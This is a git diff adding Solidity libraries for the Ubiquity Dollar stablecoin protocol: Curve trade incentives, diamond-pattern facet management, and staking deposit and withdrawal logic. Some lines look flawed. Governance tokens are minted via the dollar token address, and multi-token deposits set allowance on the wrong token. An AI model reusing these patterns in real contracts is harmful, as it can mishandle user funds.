+ */ +library LibCurveDollarIncentive { + using SafeERC20 for IERC20; + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /// @notice Storage slot used to store data for this library + bytes32 constant CURVE_DOLLAR_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.curve.storage")) - 1) & + ~bytes32(uint256(0xff)); + + /// @notice One point in `bytes16` + bytes16 constant _one = bytes16(abi.encodePacked(uint256(1 ether))); + + /// @notice Emitted when `_account` exempt is updated + event ExemptAddressUpdate(address indexed _account, bool _isExempt); + + /// @notice Struct used as a storage for the current library + struct CurveDollarData { + bool isSellPenaltyOn; + bool isBuyIncentiveOn; + mapping(address => bool) _exempt; + } + + /** + * @notice Returns struct used as a storage for this library + * @return l Struct used as a storage + */ + function curveDollarStorage() + internal + pure + returns (CurveDollarData storage l) + { + bytes32 slot = CURVE_DOLLAR_STORAGE_SLOT; + assembly { + l.slot := slot + } + } + + /** + * @notice Checks whether sell penalty is enabled + * @return Whether sell penalty is enabled + */ + function isSellPenaltyOn() internal view returns (bool) { + CurveDollarData storage ss = curveDollarStorage(); + return ss.isSellPenaltyOn; + } + + /** + * @notice Checks whether buy incentive is enabled + * @return Whether buy incentive is enabled + */ + function isBuyIncentiveOn() internal view returns (bool) { + CurveDollarData storage ss = curveDollarStorage(); + return ss.isBuyIncentiveOn; + } + + /** + * @notice Adds buy and sell incentives + * @param sender Sender address + * @param receiver Receiver address + * @param amountIn Trade amount + */ + function incentivize( + address sender, + address receiver, + uint256 amountIn + ) internal { + require(sender != receiver, "CurveIncentive: cannot send self"); + + if (sender == LibAppStorage.appStorage().stableSwapMetaPoolAddress) { + _incentivizeBuy(receiver, amountIn); + } + + if (receiver == LibAppStorage.appStorage().stableSwapMetaPoolAddress) { + _incentivizeSell(sender, amountIn); + } + } + + /** + * @notice Sets an address to be exempted from Curve trading incentives + * @param account Address to update + * @param isExempt Flag for whether to flag as exempt or not + */ + function setExemptAddress(address account, bool isExempt) internal { + CurveDollarData storage ss = curveDollarStorage(); + ss._exempt[account] = isExempt; + emit ExemptAddressUpdate(account, isExempt); + } + + /// @notice Switches the sell penalty + function switchSellPenalty() internal { + CurveDollarData storage ss = curveDollarStorage(); + ss.isSellPenaltyOn = !ss.isSellPenaltyOn; + } + + /// @notice Switches the buy incentive + function switchBuyIncentive() internal { + CurveDollarData storage ss = curveDollarStorage(); + ss.isBuyIncentiveOn = !ss.isBuyIncentiveOn; + } + + /** + * @notice Checks whether `account` is marked as exempt + * @notice Whether `account` is exempt from buy incentive and sell penalty + */ + function isExemptAddress(address account) internal view returns (bool) { + CurveDollarData storage ss = curveDollarStorage(); + return ss._exempt[account]; + } + + /** + * @notice Adds penalty for selling `amount` of Dollars for `target` address + * @param target Address to penalize + * @param amount Trade amount + */ + function _incentivizeSell(address target, uint256 amount) internal { + CurveDollarData storage ss = curveDollarStorage(); + + if (isExemptAddress(target) || !ss.isSellPenaltyOn) { + return; + } + + // WARNING + // From curve doc :Tokens that take a fee upon a successful transfer may cause the curve pool + // to break or act in unexpected ways. + // fei does it differently because they can make sure only one contract has the ability to sell + // Ubiquity Dollar and they control the whole liquidity pool on curve. + // here to avoid problem with the curve pool we execute the transfer as specified and then we + // take the penalty so if penalty + amount > balance then we revert + // swapping Ubiquity Dollar for 3CRV (or underlying) (aka selling Ubiquity Dollar) will burn x% of Ubiquity Dollar + // Where x = (1- TWAP_Price) *100. + + uint256 penalty = _getPercentDeviationFromUnderPeg(amount); + if (penalty != 0) { + require(penalty < amount, "Dollar: burn exceeds trade size"); + + require( + UbiquityDollarToken( + LibAppStorage.appStorage().dollarTokenAddress + ).balanceOf(target) >= penalty + amount, + "Dollar: balance too low to get penalized" + ); + UbiquityDollarToken(LibAppStorage.appStorage().dollarTokenAddress) + .burnFrom(target, penalty); // burn from the recipient + } + } + + /** + * @notice Adds incentive for buying `amountIn` of Dollars for `target` address + * @param target Address to incentivize + * @param amountIn Trade amount + */ + function _incentivizeBuy(address target, uint256 amountIn) internal { + CurveDollarData storage ss = curveDollarStorage(); + + if (isExemptAddress(target) || !ss.isBuyIncentiveOn) { + return; + } + + uint256 incentive = _getPercentDeviationFromUnderPeg(amountIn); + // swapping 3CRV (or underlying) for Ubiquity Dollar (aka buying Ubiquity Dollar) will mint x% of Governance Token. + // Where x = (1- TWAP_Price) * amountIn. + // E.g. Ubiquity Dollar = 0.8, you buy 1000 Ubiquity Dollar, you get (1-0.8)*1000 = 200 Governance Token + + if (incentive != 0) { + // this means CurveIncentive should be a minter of Governance Token + IUbiquityGovernanceToken( + LibAppStorage.appStorage().dollarTokenAddress + ).mint(target, incentive); + } + } + + /** + * @notice Returns the percentage of deviation from the peg multiplied by amount when Dollar < 1$ + * @param amount Trade amount + * @return Percentage of deviation + */ + function _getPercentDeviationFromUnderPeg( + uint256 amount + ) internal view returns (uint256) { + uint256 curPrice = _getTWAPPrice(); + if (curPrice >= 1 ether) { + return 0; + } + + bytes16 res = _one.sub(curPrice.fromUInt()).mul(amount.fromUInt()); + // returns (1- TWAP_Price) * amount. + return res.div(_one).toUInt(); + } + + /** + * @notice Returns current Dollar price + * @dev Returns 3CRV LP / Dollar quote, i.e. how many 3CRV LP tokens user will get for 1 Dollar + * @return Dollar price + */ + function _getTWAPPrice() internal view returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + return + ICurveStableSwapMetaNG(store.stableSwapMetaPoolAddress) + .price_oracle(0); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibDiamond.sol b/packages/contracts/src/dollar/libraries/LibDiamond.sol new file mode 100644 index 000000000..25d5c1729 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibDiamond.sol @@ -0,0 +1,430 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IDiamondCut} from "../interfaces/IDiamondCut.sol"; +import {IDiamondLoupe} from "../interfaces/IDiamondLoupe.sol"; +import "@openzeppelin/contracts/interfaces/IERC165.sol"; +import {IERC173} from "../interfaces/IERC173.sol"; + +/// @notice Error thrown when `initializeDiamondCut()` fails +error InitializationFunctionReverted( + address _initializationContractAddress, + bytes _calldata +); + +/** + * @notice Library used for diamond facets and selector modifications + * @dev Remember to add the loupe functions from DiamondLoupeFacet to the diamond. + * The loupe functions are required by the EIP2535 Diamonds standard. + */ +library LibDiamond { + /// @notice Storage slot used to store data for this library + bytes32 constant DIAMOND_STORAGE_POSITION = + bytes32(uint256(keccak256("diamond.standard.diamond.storage")) - 1) & + ~bytes32(uint256(0xff)); + + /// @notice Struct used as a mapping of facet to function selector position + struct FacetAddressAndPosition { + address facetAddress; + uint96 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array + } + + /// @notice Struct used as a mapping of facet to function selectors + struct FacetFunctionSelectors { + bytes4[] functionSelectors; + uint256 facetAddressPosition; // position of facetAddress in facetAddresses array + } + + /// @notice Struct used as a storage for this library + struct DiamondStorage { + // maps function selector to the facet address and + // the position of the selector in the facetFunctionSelectors.selectors array + mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; + // maps facet addresses to function selectors + mapping(address => FacetFunctionSelectors) facetFunctionSelectors; + // facet addresses + address[] facetAddresses; + // Used to query if a contract implements an interface. + // Used to implement ERC-165. + mapping(bytes4 => bool) supportedInterfaces; + // owner of the contract + address contractOwner; + } + + /** + * @notice Returns struct used as a storage for this library + * @return ds Struct used as a storage + */ + function diamondStorage() + internal + pure + returns (DiamondStorage storage ds) + { + bytes32 position = DIAMOND_STORAGE_POSITION; + assembly { + ds.slot := position + } + } + + /// @notice Emitted when contract owner is updated + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + /** + * @notice Updates contract owner + * @param _newOwner New contract owner + */ + function setContractOwner(address _newOwner) internal { + DiamondStorage storage ds = diamondStorage(); + address previousOwner = ds.contractOwner; + ds.contractOwner = _newOwner; + emit OwnershipTransferred(previousOwner, _newOwner); + } + + /** + * @notice Returns contract owner + * @param contractOwner_ Contract owner + */ + function contractOwner() internal view returns (address contractOwner_) { + contractOwner_ = diamondStorage().contractOwner; + } + + /// @notice Checks that `msg.sender` is a contract owner + function enforceIsContractOwner() internal view { + require( + msg.sender == diamondStorage().contractOwner, + "LibDiamond: Must be contract owner" + ); + } + + /// @notice Emitted when facet is modified + event DiamondCut( + IDiamondCut.FacetCut[] _diamondCut, + address _init, + bytes _calldata + ); + + /** + * @notice Add/replace/remove any number of functions and optionally execute a function with delegatecall + * @param _diamondCut Contains the facet addresses and function selectors + * @param _init The address of the contract or facet to execute _calldata + * @param _calldata A function call, including function selector and arguments + * @dev `_calldata` is executed with delegatecall on `_init` + */ + function diamondCut( + IDiamondCut.FacetCut[] memory _diamondCut, + address _init, + bytes memory _calldata + ) internal { + for ( + uint256 facetIndex; + facetIndex < _diamondCut.length; + facetIndex++ + ) { + IDiamondCut.FacetCutAction action = _diamondCut[facetIndex].action; + if (action == IDiamondCut.FacetCutAction.Add) { + addFunctions( + _diamondCut[facetIndex].facetAddress, + _diamondCut[facetIndex].functionSelectors + ); + } else if (action == IDiamondCut.FacetCutAction.Replace) { + replaceFunctions( + _diamondCut[facetIndex].facetAddress, + _diamondCut[facetIndex].functionSelectors + ); + } else if (action == IDiamondCut.FacetCutAction.Remove) { + removeFunctions( + _diamondCut[facetIndex].facetAddress, + _diamondCut[facetIndex].functionSelectors + ); + } else { + revert("LibDiamondCut: Incorrect FacetCutAction"); + } + } + emit DiamondCut(_diamondCut, _init, _calldata); + initializeDiamondCut(_init, _calldata); + } + + /** + * @notice Adds new functions to a facet + * @param _facetAddress Facet address + * @param _functionSelectors Function selectors to add + */ + function addFunctions( + address _facetAddress, + bytes4[] memory _functionSelectors + ) internal { + require( + _functionSelectors.length > 0, + "LibDiamondCut: No selectors in facet to cut" + ); + DiamondStorage storage ds = diamondStorage(); + require( + _facetAddress != address(0), + "LibDiamondCut: Add facet can't be address(0)" + ); + uint96 selectorPosition = uint96( + ds.facetFunctionSelectors[_facetAddress].functionSelectors.length + ); + // add new facet address if it does not exist + if (selectorPosition == 0) { + addFacet(ds, _facetAddress); + } + for ( + uint256 selectorIndex; + selectorIndex < _functionSelectors.length; + selectorIndex++ + ) { + bytes4 selector = _functionSelectors[selectorIndex]; + address oldFacetAddress = ds + .selectorToFacetAndPosition[selector] + .facetAddress; + require( + oldFacetAddress == address(0), + "LibDiamondCut: Can't add function that already exists" + ); + addFunction(ds, selector, selectorPosition, _facetAddress); + selectorPosition++; + } + } + + /** + * @notice Replaces functions in a facet + * @param _facetAddress Facet address + * @param _functionSelectors Function selectors to replace with + */ + function replaceFunctions( + address _facetAddress, + bytes4[] memory _functionSelectors + ) internal { + require( + _functionSelectors.length > 0, + "LibDiamondCut: No selectors in facet to cut" + ); + DiamondStorage storage ds = diamondStorage(); + require( + _facetAddress != address(0), + "LibDiamondCut: Add facet can't be address(0)" + ); + uint96 selectorPosition = uint96( + ds.facetFunctionSelectors[_facetAddress].functionSelectors.length + ); + // add new facet address if it does not exist + if (selectorPosition == 0) { + addFacet(ds, _facetAddress); + } + for ( + uint256 selectorIndex; + selectorIndex < _functionSelectors.length; + selectorIndex++ + ) { + bytes4 selector = _functionSelectors[selectorIndex]; + address oldFacetAddress = ds + .selectorToFacetAndPosition[selector] + .facetAddress; + require( + oldFacetAddress != _facetAddress, + "LibDiamondCut: Can't replace function with same function" + ); + removeFunction(ds, oldFacetAddress, selector); + addFunction(ds, selector, selectorPosition, _facetAddress); + selectorPosition++; + } + } + + /** + * @notice Removes functions from a facet + * @param _facetAddress Facet address + * @param _functionSelectors Function selectors to remove + */ + function removeFunctions( + address _facetAddress, + bytes4[] memory _functionSelectors + ) internal { + require( + _functionSelectors.length > 0, + "LibDiamondCut: No selectors in facet to cut" + ); + DiamondStorage storage ds = diamondStorage(); + // if function does not exist then do nothing and return + require( + _facetAddress == address(0), + "LibDiamondCut: Remove facet address must be address(0)" + ); + for ( + uint256 selectorIndex; + selectorIndex < _functionSelectors.length; + selectorIndex++ + ) { + bytes4 selector = _functionSelectors[selectorIndex]; + address oldFacetAddress = ds + .selectorToFacetAndPosition[selector] + .facetAddress; + removeFunction(ds, oldFacetAddress, selector); + } + } + + /** + * @notice Adds a new diamond facet + * @param ds Struct used as a storage + * @param _facetAddress Facet address to add + */ + function addFacet( + DiamondStorage storage ds, + address _facetAddress + ) internal { + enforceHasContractCode( + _facetAddress, + "LibDiamondCut: New facet has no code" + ); + ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = ds + .facetAddresses + .length; + ds.facetAddresses.push(_facetAddress); + } + + /** + * @notice Adds new function to a facet + * @param ds Struct used as a storage + * @param _selector Function selector to add + * @param _selectorPosition Position in `FacetFunctionSelectors.functionSelectors` array + * @param _facetAddress Facet address + */ + function addFunction( + DiamondStorage storage ds, + bytes4 _selector, + uint96 _selectorPosition, + address _facetAddress + ) internal { + ds + .selectorToFacetAndPosition[_selector] + .functionSelectorPosition = _selectorPosition; + ds.facetFunctionSelectors[_facetAddress].functionSelectors.push( + _selector + ); + ds.selectorToFacetAndPosition[_selector].facetAddress = _facetAddress; + } + + /** + * @notice Removes function from a facet + * @param ds Struct used as a storage + * @param _facetAddress Facet address + * @param _selector Function selector to add + */ + function removeFunction( + DiamondStorage storage ds, + address _facetAddress, + bytes4 _selector + ) internal { + require( + _facetAddress != address(0), + "LibDiamondCut: Can't remove function that doesn't exist" + ); + // precomputed diamondCut function selector to save gas + // bytes4(keccak256(abi.encodeWithSignature("diamondCut((address,uint8,bytes4[])[],address,bytes)"))) == 0x1f931c1c + require( + _selector != bytes4(0x1f931c1c), + "LibDiamondCut: Can't remove diamondCut function" + ); + // an immutable function is a function defined directly in a diamond + require( + _facetAddress != address(this), + "LibDiamondCut: Can't remove immutable function" + ); + // replace selector with last selector, then delete last selector + uint256 selectorPosition = ds + .selectorToFacetAndPosition[_selector] + .functionSelectorPosition; + uint256 lastSelectorPosition = ds + .facetFunctionSelectors[_facetAddress] + .functionSelectors + .length - 1; + // if not the same then replace _selector with lastSelector + if (selectorPosition != lastSelectorPosition) { + bytes4 lastSelector = ds + .facetFunctionSelectors[_facetAddress] + .functionSelectors[lastSelectorPosition]; + ds.facetFunctionSelectors[_facetAddress].functionSelectors[ + selectorPosition + ] = lastSelector; + ds + .selectorToFacetAndPosition[lastSelector] + .functionSelectorPosition = uint96(selectorPosition); + } + // delete the last selector + ds.facetFunctionSelectors[_facetAddress].functionSelectors.pop(); + delete ds.selectorToFacetAndPosition[_selector]; + + // if no more selectors for facet address then delete the facet address + if (lastSelectorPosition == 0) { + // replace facet address with last facet address and delete last facet address + uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1; + uint256 facetAddressPosition = ds + .facetFunctionSelectors[_facetAddress] + .facetAddressPosition; + if (facetAddressPosition != lastFacetAddressPosition) { + address lastFacetAddress = ds.facetAddresses[ + lastFacetAddressPosition + ]; + ds.facetAddresses[facetAddressPosition] = lastFacetAddress; + ds + .facetFunctionSelectors[lastFacetAddress] + .facetAddressPosition = facetAddressPosition; + } + ds.facetAddresses.pop(); + delete ds + .facetFunctionSelectors[_facetAddress] + .facetAddressPosition; + } + } + + /** + * @notice Function called on diamond cut modification + * @param _init The address of the contract or facet to execute _calldata + * @param _calldata A function call, including function selector and arguments + * @dev `_calldata` is executed with delegatecall on `_init` + */ + function initializeDiamondCut( + address _init, + bytes memory _calldata + ) internal { + if (_init == address(0)) { + return; + } + enforceHasContractCode( + _init, + "LibDiamondCut: _init address has no code" + ); + (bool success, bytes memory error) = _init.delegatecall(_calldata); + if (!success) { + if (error.length > 0) { + // bubble up error + /// @solidity memory-safe-assembly + assembly { + let returndata_size := mload(error) + revert(add(32, error), returndata_size) + } + } else { + revert InitializationFunctionReverted(_init, _calldata); + } + } + } + + /** + * @notice Reverts if `_contract` address doesn't have any code + * @param _contract Contract address to check for empty code + * @param _errorMessage Error message + */ + function enforceHasContractCode( + address _contract, + string memory _errorMessage + ) internal view { + uint256 contractSize; + assembly { + contractSize := extcodesize(_contract) + } + require(contractSize > 0, _errorMessage); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibDirectGovernanceFarmer.sol b/packages/contracts/src/dollar/libraries/LibDirectGovernanceFarmer.sol new file mode 100644 index 000000000..d97e138e7 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibDirectGovernanceFarmer.sol @@ -0,0 +1,477 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import {IUbiquityDollarManager} from "../interfaces/IUbiquityDollarManager.sol"; +import {IUbiquityDollarToken} from "../interfaces/IUbiquityDollarToken.sol"; +import {IERC20Ubiquity} from "../interfaces/IERC20Ubiquity.sol"; +import "../libraries/LibAppStorage.sol"; +import "../interfaces/IDepositZap.sol"; +import "../interfaces/IStaking.sol"; +import "../interfaces/IStakingShare.sol"; +import "../interfaces/IStableSwap3Pool.sol"; +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +library LibDirectGovernanceFarmer { + using SafeERC20 for IERC20; + + /// @notice Emitted when user deposits a single token + event DepositSingle( + address indexed sender, + address token, + uint256 amount, + uint256 durationWeeks, + uint256 stakingShareId + ); + + /// @notice Emitted when user deposits multiple tokens + event DepositMulti( + address indexed sender, + uint256[4] amounts, + uint256 durationWeeks, + uint256 stakingShareId + ); + + /// @notice Emitted when user withdraws a single token + event Withdraw( + address indexed sender, + uint256 stakingShareId, + address token, + uint256 amount + ); + + /// @notice Emitted when user withdraws multiple tokens + event WithdrawAll( + address indexed sender, + uint256 stakingShareId, + uint256[4] amounts + ); + + /// @notice Storage slot used to store data for this library + bytes32 constant DIRECT_GOVERNANCE_STORAGE_POSITION = + bytes32( + uint256(keccak256("ubiquity.contracts.direct.governance.storage")) - + 1 + ) & ~bytes32(uint256(0xff)); + + /// @notice Struct used as a storage for the current library + struct DirectGovernanceData { + address token0; // DAI + address token1; // USDC + address token2; // USDT + address ubiquity3PoolLP; + IERC20Ubiquity ubiquityDollar; + address depositZapUbiquityDollar; + IUbiquityDollarManager manager; + } + + /** + * @notice Returns struct used as a storage for this library + * @return data Struct used as a storage + */ + function directGovernanceStorage() + internal + pure + returns (DirectGovernanceData storage data) + { + bytes32 position = DIRECT_GOVERNANCE_STORAGE_POSITION; + assembly { + data.slot := position + } + } + + /// @notice Used to initialize this facet with corresponding values + function init( + address _manager, + address base3Pool, + address ubiquity3PoolLP, + address _ubiquityDollar, + address depositZap + ) internal { + DirectGovernanceData storage data = directGovernanceStorage(); + /// Standard Interface Provided by Curve /// + data.token0 = IStableSwap3Pool(base3Pool).coins(0); // DAI + data.token1 = IStableSwap3Pool(base3Pool).coins(1); // USDC + data.token2 = IStableSwap3Pool(base3Pool).coins(2); // USDT + //////////////////////////////////////////// + data.ubiquity3PoolLP = address(ubiquity3PoolLP); // Set stable swap pool + data.ubiquityDollar = IERC20Ubiquity(address(_ubiquityDollar)); // Set Dollar + data.depositZapUbiquityDollar = address(depositZap); // Set DepositZap + data.manager = IUbiquityDollarManager(address(_manager)); // Set Manager + } + + /** + * @notice Deposits a single token to staking + * @notice Stable coin (DAI / USDC / USDT / Ubiquity Dollar) => Dollar-3CRV LP => Ubiquity Staking + * @notice How it works: + * 1. User deposit supported stablecoins + * 2. Deposited stablecoins are added to Curve MetaPool + * 3. User gets Dollar-3CRV LP tokens + * 4. Dollar-3CRV LP tokens are transferred to the staking contract + * 5. User gets a staking share id + * @param token Token deposited : Stablecoin + * @param amount Amount of tokens to deposit (For max: `uint256(-1)`) + * @param durationWeeks Duration in weeks tokens will be locked (1-208) + * @return stakingShareId Staking share id + */ + function depositSingle( + address token, + uint256 amount, + uint256 durationWeeks + ) internal returns (uint256 stakingShareId) { + DirectGovernanceData storage data = directGovernanceStorage(); + // DAI / USDC / USDT / Ubiquity Dollar + require( + isMetaPoolCoin(token), + "Invalid token: must be DAI, USD Coin, Tether, or Ubiquity Dollar" + ); + require(amount > 0, "amount must be positive value"); + require( + durationWeeks >= 1 && durationWeeks <= 208, + "duration weeks must be between 1 and 208" + ); + + //Note, due to USDT implementation, normal transferFrom does not work and have an error of "function returned an unexpected amount of data" + IERC20(token).safeTransferFrom(msg.sender, address(this), amount); + + address staking = address(data.manager.stakingContractAddress()); + address stakingShare = address(data.manager.stakingShareAddress()); + + //[Ubiquity Dollar, DAI, USDC, USDT] + uint256[4] memory tokenAmounts = [ + token == address(data.ubiquityDollar) ? amount : 0, + token == data.token0 ? amount : 0, + token == data.token1 ? amount : 0, + token == data.token2 ? amount : 0 + ]; + + //STEP1: add DAI, USDC, USDT or Ubiquity Dollar into metapool liquidity and get UAD3CRVf + IERC20(token).safeIncreaseAllowance( + data.depositZapUbiquityDollar, + amount + ); + uint256 lpAmount = IDepositZap(data.depositZapUbiquityDollar) + .add_liquidity(data.ubiquity3PoolLP, tokenAmounts, 0); + + //STEP2: stake UAD3CRVf to Staking + + //TODO approve token to be transferred to Staking contract + IERC20(token).approve(data.ubiquity3PoolLP, amount); + IERC20(data.ubiquity3PoolLP).safeIncreaseAllowance(staking, lpAmount); + stakingShareId = IStaking(staking).deposit(lpAmount, durationWeeks); + + IStakingShare(stakingShare).safeTransferFrom( + address(this), + msg.sender, + stakingShareId, + 1, + bytes("") + ); + + emit DepositSingle( + msg.sender, + token, + amount, + durationWeeks, + stakingShareId + ); + } + + /** + * @notice Deposits into Ubiquity protocol + * @notice Stable coins (DAI / USDC / USDT / Ubiquity Dollar) => uAD3CRV-f => Ubiquity StakingShare + * @notice STEP 1 : Change (DAI / USDC / USDT / Ubiquity dollar) to 3CRV at uAD3CRV MetaPool + * @notice STEP 2 : uAD3CRV-f => Ubiquity StakingShare + * @param tokenAmounts Amount of tokens to deposit (For max: `uint256(-1)`) it MUST follow this order [Ubiquity Dollar, DAI, USDC, USDT] + * @param durationWeeks Duration in weeks tokens will be locked (1-208) + * @return stakingShareId Staking share id + */ + function depositMulti( + uint256[4] calldata tokenAmounts, + uint256 durationWeeks + ) internal returns (uint256 stakingShareId) { + DirectGovernanceData storage data = directGovernanceStorage(); + // at least one should be non zero Ubiquity Dollar / DAI / USDC / USDT + require( + tokenAmounts[0] > 0 || + tokenAmounts[1] > 0 || + tokenAmounts[2] > 0 || + tokenAmounts[3] > 0, + "amounts==0" + ); + require( + durationWeeks >= 1 && durationWeeks <= 208, + "duration weeks must be between 1 and 208" + ); + // Dollar Token + if (tokenAmounts[0] > 0) { + IERC20(data.ubiquityDollar).safeTransferFrom( + msg.sender, + address(this), + tokenAmounts[0] + ); + IERC20(data.token0).safeIncreaseAllowance( + data.depositZapUbiquityDollar, + tokenAmounts[0] + ); + } + // DAI + if (tokenAmounts[1] > 0) { + IERC20(data.token0).safeTransferFrom( + msg.sender, + address(this), + tokenAmounts[1] + ); + IERC20(data.token0).safeIncreaseAllowance( + data.depositZapUbiquityDollar, + tokenAmounts[1] + ); + } + // USDC + //Note, due to USDT implementat1ion, normal transferFrom does not work and have an error of "function returned an unexpected amount of data" + //require(IERC20(token).transferFrom(msg.sender, address(this), amount), "sender cannot transfer specified fund"); + if (tokenAmounts[2] > 0) { + IERC20(data.token1).safeTransferFrom( + msg.sender, + address(this), + tokenAmounts[2] + ); + IERC20(data.token1).safeIncreaseAllowance( + data.depositZapUbiquityDollar, + tokenAmounts[2] + ); + } + // USDT + if (tokenAmounts[3] > 0) { + IERC20(data.token2).safeTransferFrom( + msg.sender, + address(this), + tokenAmounts[3] + ); + IERC20(data.token2).safeIncreaseAllowance( + data.depositZapUbiquityDollar, + tokenAmounts[3] + ); + } + address staking = data.manager.stakingContractAddress(); + address stakingShare = data.manager.stakingShareAddress(); + + // STEP1: add DAI, USDC, USDT or Ubiquity Dollar into metapool liquidity and get UAD3CRVf + // UAD3CRVf + uint256 lpAmount = IDepositZap(data.depositZapUbiquityDollar) + .add_liquidity(data.ubiquity3PoolLP, tokenAmounts, 0); + + //STEP2: stake UAD3CRVf to Staking + //TODO approve token to be transferred to Staking contract + + IERC20(data.ubiquity3PoolLP).safeIncreaseAllowance(staking, lpAmount); + stakingShareId = IStaking(staking).deposit(lpAmount, durationWeeks); + + IStakingShare(stakingShare).safeTransferFrom( + address(this), + msg.sender, + stakingShareId, + 1, + bytes("") + ); + + emit DepositMulti( + msg.sender, + tokenAmounts, + durationWeeks, + stakingShareId + ); + } + + /** + * @notice Withdraws from Ubiquity protocol + * @notice Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @notice STEP 1 : Ubiquity StakingShare => uAD3CRV-f + * @notice STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @param stakingShareId Staking Share Id to withdraw + * @return tokenAmounts Array of token amounts [Ubiquity Dollar, DAI, USDC, USDT] + */ + function withdrawWithId( + uint256 stakingShareId + ) internal returns (uint256[4] memory tokenAmounts) { + DirectGovernanceData storage data = directGovernanceStorage(); + address staking = data.manager.stakingContractAddress(); + address stakingShare = data.manager.stakingShareAddress(); + + uint256[] memory stakingShareIds = IStakingShare(stakingShare) + .holderTokens(msg.sender); + // Need to verify msg.sender by holderToken history. + // stake.minter is this contract address so that cannot use it for verification. + require(isIdIncluded(stakingShareIds, stakingShareId), "!bond owner"); + + //transfer stakingShare NFT token from msg.sender to this address + IStakingShare(stakingShare).safeTransferFrom( + msg.sender, + address(this), + stakingShareId, + 1, + "0x" + ); + + // Get Stake + IStakingShare.Stake memory stake = IStakingShare(stakingShare).getStake( + stakingShareId + ); + + // STEP 1: Withdraw Ubiquity Staking Shares to get back uAD3CRV-f LPs + // address staking = ubiquityManager.stakingContractAddress(); + IStakingShare(stakingShare).setApprovalForAll(staking, true); + IStaking(staking).removeLiquidity(stake.lpAmount, stakingShareId); + IStakingShare(stakingShare).setApprovalForAll(staking, false); + + uint256 lpTokenAmount = IERC20(data.ubiquity3PoolLP).balanceOf( + address(this) + ); + uint256 governanceTokenAmount = IERC20( + data.manager.governanceTokenAddress() + ).balanceOf(address(this)); + + // STEP2: Withdraw 3Crv LPs from meta pool to get back Ubiquity Dollar, DAI, USDC or USDT + + IERC20(data.ubiquity3PoolLP).approve( + data.depositZapUbiquityDollar, + lpTokenAmount + ); + tokenAmounts = IDepositZap(data.depositZapUbiquityDollar) + .remove_liquidity( + data.ubiquity3PoolLP, + lpTokenAmount, + [uint256(0), uint256(0), uint256(0), uint256(0)] + ); //[Ubiquity Dollar, DAI, USDC, USDT] + + IERC20(data.ubiquityDollar).safeTransfer(msg.sender, tokenAmounts[0]); + IERC20(data.token0).safeTransfer(msg.sender, tokenAmounts[1]); + IERC20(data.token1).safeTransfer(msg.sender, tokenAmounts[2]); + IERC20(data.token2).safeTransfer(msg.sender, tokenAmounts[3]); + IERC20(data.manager.governanceTokenAddress()).safeTransfer( + msg.sender, + governanceTokenAmount + ); + + emit WithdrawAll(msg.sender, stakingShareId, tokenAmounts); + } + + /** + * @notice Withdraws from Ubiquity protocol + * @notice Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @notice STEP 1 : Ubiquity StakingShare => uAD3CRV-f + * @notice STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @param stakingShareId Staking Share Id to withdraw + * @param token Token to withdraw to : DAI, USDC, USDT, 3CRV or Ubiquity Dollar + * @return tokenAmount Amount of token withdrawn + */ + function withdraw( + uint256 stakingShareId, + address token + ) internal returns (uint256 tokenAmount) { + DirectGovernanceData storage data = directGovernanceStorage(); + // DAI / USDC / USDT / Ubiquity Dollar + require( + isMetaPoolCoin(token), + "Invalid token: must be DAI, USD Coin, Tether, or Ubiquity Dollar" + ); + address staking = data.manager.stakingContractAddress(); + address stakingShare = data.manager.stakingShareAddress(); + + uint256[] memory stakingShareIds = IStakingShare(stakingShare) + .holderTokens(msg.sender); + //Need to verify msg.sender by holderToken history. + //stake.minter is this contract address so that cannot use it for verification. + require( + isIdIncluded(stakingShareIds, stakingShareId), + "sender is not true bond owner" + ); + + //transfer stakingShare NFT token from msg.sender to this address + IStakingShare(stakingShare).safeTransferFrom( + msg.sender, + address(this), + stakingShareId, + 1, + "0x" + ); + + // Get Stake + IStakingShare.Stake memory stake = IStakingShare(stakingShare).getStake( + stakingShareId + ); + + // STEP 1 : Withdraw Ubiquity Staking Shares to get back uAD3CRV-f LPs + //address staking = ubiquityManager.stakingContractAddress(); + IStakingShare(stakingShare).setApprovalForAll(staking, true); + IStaking(staking).removeLiquidity(stake.lpAmount, stakingShareId); + IStakingShare(stakingShare).setApprovalForAll(staking, false); + + uint256 lpTokenAmount = IERC20(data.ubiquity3PoolLP).balanceOf( + address(this) + ); + uint256 governanceTokenAmount = IERC20( + data.manager.governanceTokenAddress() + ).balanceOf(address(this)); + + // STEP2: Withdraw 3Crv LPs from meta pool to get back Ubiquity Dollar, DAI, USDC or USDT + uint128 tokenIndex = token == address(data.ubiquityDollar) + ? 0 + : (token == data.token0 ? 1 : (token == data.token1 ? 2 : 3)); + require( + IERC20(data.ubiquity3PoolLP).approve( + data.depositZapUbiquityDollar, + lpTokenAmount + ) + ); + tokenAmount = IDepositZap(data.depositZapUbiquityDollar) + .remove_liquidity_one_coin( + data.ubiquity3PoolLP, + lpTokenAmount, + int128(tokenIndex), + 0 + ); //[UAD, DAI, USDC, USDT] + + IERC20(token).safeTransfer(msg.sender, tokenAmount); + IERC20(data.manager.governanceTokenAddress()).safeTransfer( + msg.sender, + governanceTokenAmount + ); + + emit Withdraw(msg.sender, stakingShareId, token, tokenAmount); + } + + ///////////////////////////////////////////// HELPERS 